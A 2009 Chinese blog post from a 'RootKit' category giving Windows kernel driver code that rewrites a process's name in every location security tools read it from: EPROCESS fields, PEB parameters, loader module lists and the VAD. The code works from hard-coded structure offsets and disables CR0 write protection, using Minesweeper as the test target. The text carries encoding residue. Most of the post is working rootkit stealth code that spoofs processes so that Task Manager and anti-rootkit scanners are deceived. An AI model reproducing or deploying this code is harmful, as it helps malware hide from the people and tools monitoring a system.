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            S.l.e!ep.¢%

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            徹底改掉進(jìn)程名

            Posted on 2009-10-26 23:39 S.l.e!ep.¢% 閱讀(492) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            徹底改掉進(jìn)程名
            寫了個改進(jìn)程名的東西,跟大家分享!技術(shù)含量不高,大牛飄過。

            先總結(jié)一下,一個進(jìn)程的名字有可能從以下部位獲取(參考小偉同學(xué)的《偽造進(jìn)程初探》一文):

            一、EPROCESS中:
            ??? 1、EPROCESS-->ImageFileName(很常用,冰刃獲取進(jìn)程名的地方)
            ??? 2、EPROCESS-->SeAuditProcessCreationInfo->ImageFileName(任務(wù)管理器獲取進(jìn)程名的地方,NtQueryInformationProcess就是從這里獲取進(jìn)程名的)
            ??? 3、EPROCESS->SectionObject->Segment->ControlArea->FileObject->FileName(RKU獲取進(jìn)程名的方法)
            ??? 4、VAD(記錄用戶空間內(nèi)存分配情況的數(shù)據(jù)結(jié)構(gòu),里面當(dāng)然有進(jìn)程的exe模塊)
            二、PEB中:
            ??? 1、PEB-->ProcessParameters-->ImagePathName
            ??? 2、PEB-->ProcessParameters-->CommandLine
            ??? 3、PEB-->ProcessParameters-->WindowTitle(這個地方比較奇怪,如果雙擊的是exe的快捷方式,則記錄的是快捷方式的路徑,還是一并改掉的好)
            ??? 4、PEB-->LDR-->InLoadOrderModuleList->第一個結(jié)構(gòu)->FullDllName
            ??? 5、PEB-->LDR-->InLoadOrderModuleList->第一個結(jié)構(gòu)->BaseDllName
            ??? 6、PEB-->LDR-->InMemoryOrderModuleList->第一個結(jié)構(gòu)->FullDllName(此處的BaseDllName貌似為NULL,就不管它了)
            ??? (PEB-->LDR-->InInitializationOrderModuleList這個表里貌似沒有exe模塊,也不管它了)


            把這些地方都改掉即可徹底改掉進(jìn)程名(如果不夠徹底,謝謝補(bǔ)充!)。

            示例代碼如下(示例代碼中以winmine.exe做測試): //Fypher

            //http://hi.baidu.com/nmn714

            ?

            VOID ChangeName(ULONG pProcess){

            ??? ULONG peb,ProcessParameters,ldr;

            ??? ULONG InLoadOrderModuleList;

            ??? ULONG InMemoryOrderModuleList;

            ??? ULONG tmp;

            ?

            ??? KAPC_STATE kapc;

            ??? PUCHAR str;

            ??? PWCHAR wstr;

            ???

            ??? //get PEB

            ??? peb=*(PULONG)(pProcess + 0x1b0);

            ???

            ??? KeStackAttachProcess((PEPROCESS)pProcess,&kapc);

            ??? __try{

            ??????? ProcessParameters = *(PULONG)(peb + 0x010);

            ??????? //ImagePathName

            ??????? FindAndChangeUni(ProcessParameters+0x038);

            ??????? //CommandLine

            ??????? FindAndChangeUni(ProcessParameters+0x040);

            ??????? //WindowTitle

            ??????? FindAndChangeUni(ProcessParameters+0x070);

            ?

            ??????? //Ldr

            ??????? ldr = *(PULONG)(peb + 0x00c);

            ??????? InLoadOrderModuleList = *(PULONG)(ldr+0x00c);

            ??????? //InLoadOrderModuleList->FullDllName

            ??????? FindAndChangeUni(InLoadOrderModuleList+0x024);

            ??????? //InLoadOrderModuleList->BaseDllName

            ??????? FindAndChangeUni(InLoadOrderModuleList+0x02c);

            ??????? InMemoryOrderModuleList = *(PULONG)(ldr+0x014);

            ??????? //InMemoryOrderModuleList->FullDllName

            ??????? FindAndChangeUni(InMemoryOrderModuleList+0x024);

            ??? }__except(1){

            ??????? KdPrint(("exception occured!"));

            ??? }

            ??? KeUnstackDetachProcess (&kapc);

            ?

            ??? //EPROCESS-->ImageFileName

            ??? FindAndChangeA(pProcess+0x174,16);

            ??? //EPROCESS-->SeAuditProcessCreationInfo->ImageFileName

            ??? FindAndChangeUni(*(PULONG)(pProcess + 0x1F4));

            ??? //EPROCESS->SectionObject->Segment->ControlArea->FileObject->FileName

            ??? //should use MmIsAddressValid to verify

            ??? tmp=*(PULONG)(pProcess+0x138);

            ??? tmp=*(PULONG)(tmp+0x14);

            ??? tmp=*(PULONG)tmp;

            ??? tmp=*(PULONG)(tmp+0x024);

            ??? FindAndChangeUni(tmp+0x030);

            ???

            ??? //VAD

            ??? //should use MmIsAddressValid to verify

            ??? tmp=*(PULONG)(pProcess+0x11c);

            ??? tmp=*(PULONG)(tmp+0x10);

            ??? tmp=*(PULONG)(tmp+0x018);

            ??? tmp=*(PULONG)(tmp+0x024);

            ??? FindAndChangeUni(tmp+0x030);

            }
            復(fù)制代碼其中,F(xiàn)indAndChangeUni和FindAndChangeA的作用是在一個字符串(UNICODE_STRING或CHAR)中定位“winmine.exe”并改成"winxxoo.exe"。代碼如下: //Fypher

            //http://hi.baidu.com/nmn714

            ?

            VOID FindAndChangeUni(ULONG strAddr){

            ??? PUNICODE_STRING uniStr = (PUNICODE_STRING)strAddr;

            ??? ULONG len = uniStr->Length / 2;

            ??? ULONG maxLen = uniStr->MaximumLength / 2;

            ??? PWCHAR str = uniStr->Buffer;

            ??? ULONG i=0;

            ?

            ??? if(!str || len<11|| maxLen<11 )

            ??????? return;

            ?

            ??? for(i=0;i<= len - 11;++i){

            ??????? if(!_wcsnicmp(str+i,L"winmine.exe",11))

            ??????????? break;

            ??? }

            ?

            ??? if(i>len - 11)

            ??????? return;

            ???

            ??? _asm{

            ??????? cli

            ??????? mov eax, cr0

            ??????? and eax, not 0x10000

            ??????? mov cr0, eax

            ??? }

            ??? //str可能是PEB中的,故try之

            ??? __try{

            ??????? str[i+3]=L'x';

            ??????? str[i+4]=L'x';

            ??????? str[i+5]=L'o';

            ??????? str[i+6]=L'o';

            ??? }__except(1){

            ??? }???

            ??? _asm{

            ??????? mov eax, cr0

            ??????? or eax,0x10000

            ??????? mov cr0,eax

            ??????? sti

            ??? }

            }

            ?

            VOID FindAndChangeA(ULONG strAddr,ULONG len){

            ??? PUCHAR str = (PUCHAR)strAddr;

            ??? ULONG i=0;

            ?

            ??? if(!str || len<11 )

            ??????? return;

            ?

            ??? for(i=0;i<= len - 11;++i){

            ??????? if(!_strnicmp(str+i,"winmine.exe",11))

            ??????????? break;

            ??? }

            ?

            ??? if(i>len - 11)

            ??????? return;

            ???

            ??? _asm{

            ??????? cli

            ??????? mov eax, cr0

            ??????? and eax, not 0x10000

            ??????? mov cr0, eax

            ??? }

            ??? //str可能是PEB中的,故try之

            ??? __try{

            ??????? str[i+3]='x';

            ??????? str[i+4]='x';

            ??????? str[i+5]='o';

            ??????? str[i+6]='o';

            ??? }__except(1){

            ??? }???

            ???

            ??? _asm{

            ??????? mov eax, cr0

            ??????? or eax,0x10000

            ??????? mov cr0,eax

            ??????? sti

            ??? }

            }
            復(fù)制代碼截圖效果:


            參考:《偽造進(jìn)程初探》——小偉同學(xué)(膜拜一下)
            附件: 抱歉,您暫時不能下載或查看此附件

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